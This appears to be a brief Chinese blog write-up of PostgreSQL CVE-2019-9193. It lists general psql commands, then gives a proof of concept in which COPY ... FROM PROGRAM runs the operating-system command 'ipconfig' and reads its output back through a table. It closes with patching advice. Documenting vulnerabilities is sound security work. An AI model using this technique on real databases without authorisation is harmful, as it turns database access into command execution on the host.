PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)
最美好的大概还是那些初识的日子,是对彼此不全然地了解又极度渴望了解的那段时光。
漏洞概述:
- PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。
漏洞版本:
- 9.3-11.2
漏洞搭建:
- 直接官网下载9.3-11.2任意版本,安装即可。
基本命令:
连接数据库, 默认的用户和数据库是postgres
psql -U user -d dbname -
切换数据库,相当于mysql的use dbname
\c dbname
列举数据库,相当于mysql的show databases
\l
列举表,相当于mysql的show tables
\dt
查看表结构,相当于desc tblname,show columns from tbname
\d tblname
创建数据库:
create database [数据库名];
删除数据库:
drop database [数据库名];
重命名一个表:
alter table [表名A] rename to [表名B];
将文本导入到表中
copy [表名] from 文本
在已有的表里添加字段:
alter table [表名] add column [字段名] [类型];
删除表中的字段:
alter table [表名] drop column [字段名];
重命名一个字段:
alter table [表名] rename column [字段名A] to [字段名B];
在表中插入数据:
insert into 表名 ([字段名m],[字段名n],......) values ([列m的值],[列n的值],......);
修改表中的某行某列的数据:
update [表名] set [目标字段名]=[目标值] where [该行特征];
删除表中某行数据:
delete from [表名] where [该行特征];
创建表:
create table ([字段名1] [类型1] ;,[字段名2] [类型2],......<,primary key (字段名m,字段名n,...)>;);
漏洞复现:
安装之后,首先连接数据库:
然后执行sql语句如下,即可:
CREATE TABLE cmd_exec(cmd_output text); //创建文本表
COPY cmd_exec FROM PROGRAM 'ipconfig'';//将结果导入表中
SELECT * FROM cmd_exec;//显示
漏洞修复:
- 升级版本,打补丁,控制好权限。
ps:萌新一枚,余生很长,请多指教。